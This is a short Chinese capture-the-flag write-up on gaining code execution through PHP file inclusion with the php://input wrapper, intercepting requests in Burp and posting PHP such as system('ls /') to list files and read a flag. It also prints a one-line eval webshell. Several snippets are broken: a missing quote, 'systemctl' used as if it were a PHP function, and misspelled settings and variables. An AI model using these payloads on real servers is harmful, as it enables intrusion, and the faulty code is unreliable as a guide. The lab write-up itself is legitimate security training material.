RCE3-文件包含/php://input的伪协议(使用条件+通过burp抓包,添加<?php system("ls /);?>等执行)
一.题目链接:
https://www.ctfhub.com/#/skilltree
二.基础知识
2.1 php://input
- 概念:可以访问请求的原始数据流,将post请求中的数据作为php代码执行,这也是为什么选择burp抓包后修改post参数,而不是hackbar
- 利用条件:需要将
allow_url_foper和allow_url_include都开启2.2 php://filter
- 概念:
- 二者区别:
1.php://filter主要用于编码/过滤文件内容,常见使用场景为绕过文件读取限制,泄露敏感文件
2.php://filter主要通过url或者hackbar进行利用
3.php://input主要用于执行代码,常见场景为RCE
4.php://input主要通过burp在post参数进行添加php执行代码- 选择依据:
需要RCE --》 php://input
需要读文件 --》 php://filter2.3
<?php system("ls /);?>
- 命令详解:
1. -- 这是php的开放和关闭标签,表示其中的内容是php代码
2.system() -- 这是php内置函数,用于执行外部程序/系统命令- 和一句话木马的区别:一句话:<?php eval($POST['cmd']);>
1.执行方式的区别:php代码直接执行系统命令,而一句话木马通过接收参数并执行任意的php代码
2.交互性:php代码无交互性,只能执行预设命令,而一句话木马高度交互,可动态执行攻击者发送的任何命令
3.典型用途:php代码执行特定任务,而一句话木马通用于远程控制
三.开始解题
0.通过上面的基础知识,我们知道,想要使用php:input,就必须要开启allow_url_fopen和allow_url_include,我们通过题目给的连接,发现两个设置均已开启

1.通过burp抓包,将恶意代码插入包内,可以得到有效文件
<?php systemctl("ls /");?>


2.抓取flag文件
<?php systemctl("cat /flag_8047")?>



浙公网安备 33010602011771号